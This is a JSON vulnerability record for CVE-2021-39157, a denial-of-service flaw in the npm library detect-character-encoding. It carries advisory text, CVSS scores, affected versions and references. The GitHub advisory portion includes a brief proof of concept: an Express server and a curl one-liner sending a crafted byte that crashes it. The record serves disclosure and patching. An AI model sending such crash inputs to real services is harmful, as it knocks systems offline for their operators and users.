{"id":"CVE-2021-39157","aliases":["CVE-2021-39157","GHSA-jqfh-8hw5-fqjr"],"related":[],"kind":"vulnerability","state":"published","title":"Improper Handling of Exceptional Conditions in detect-character-encoding","summary":"detect-character-encoding is an open source character encoding inspection library. In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash. The problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0). No workaround are available and all users should update to resolve this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"detect-character-encoding is an open source character encoding inspection library. In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash. The problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0). No workaround are available and all users should update to resolve this issue.","source":"cvelist"},{"lang":"en","text":"### Impact\n\nIn detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.\n\n### Patches\n\nThe problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0).\n\n### CVSS score\n\n[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C)\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\nSince detect-character-encoding is a library, the scoring is based on the “[reasonable worst-case implementation scenario](https://www.first.org/cvss/v3.1/user-guide#3-7-Scoring-Vulnerabilities-in-Software-Libraries-and-Similar)”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\nconst detectCharacterEncoding = require(\"detect-character-encoding\");\n\nconst app = express();\n\napp.use(bodyParser.raw());\n\napp.post(\"/\", (req, res) => {\n  const charsetMatch = detectCharacterEncoding(req.body);\n\n  res.end(charsetMatch.encoding);\n});\n\napp.listen(3000);\n```\n\n`printf \"\\xAA\" | curl --request POST --header \"Content-Type: application/octet-stream\" --data-binary @- http://localhost:3000` crashes the server.","format":"markdown","source":"ghsa"},{"lang":"es","text":"detect-character-encoding, es una biblioteca de inspección de codificación de caracteres de código abierto. En detect-character-encoding versiones v0.6.0 y anteriores, los datos que no coinciden con ningún conjunto de caracteres causan que el proceso Node.js se bloquee. El problema ha sido parcheado en [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0). No se presentan soluciones disponibles y todos los usuarios deberían actualizar para resolver este problema.","source":"nvd"}],"published":"2021-08-24T18:15:11.000Z","modified":"2026-07-08T06:29:33.959Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","score":5,"rating":"MEDIUM"}],"cwes":["CWE-755"],"affected":[{"ranges":[{"version":"< 0.7.0","status":"affected"}],"vendor":"sonicdoe","product":"detect-character-encoding","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.7.0"}],"ecosystem":"npm","package":"detect-character-encoding","purl":"pkg:npm/detect-character-encoding","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.7.0"}],"vendor":"detect-character-encoding_project","product":"detect-character-encoding","cpe":"cpe:2.3:a:detect-character-encoding_project:detect-character-encoding:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/sonicdoe/detect-character-encoding/security/advisories/GHSA-jqfh-8hw5-fqjr","tags":["exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/sonicdoe/detect-character-encoding/issues/15","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/sonicdoe/detect-character-encoding/commit/992a11007fff6cfd40b952150ab8d30410c4a20a","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39157","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/sonicdoe/detect-character-encoding","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-39157","url":"https://www.cve.org/CVERecord?id=CVE-2021-39157","licence":"CVE Terms of Use","modified":"2024-08-04T01:58:18.139Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jqfh-8hw5-fqjr","url":"https://github.com/advisories/GHSA-jqfh-8hw5-fqjr","licence":"CC-BY-4.0","modified":"2026-07-08T06:29:33.959Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-39157","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39157","licence":"Public domain","modified":"2026-06-17T04:03:12.860Z"}],"updatedAt":"2026-11-25T22:58:03.481Z","epss":{"score":0.02068,"percentile":0.81953,"date":"2026-12-01T12:00:22.000Z"}}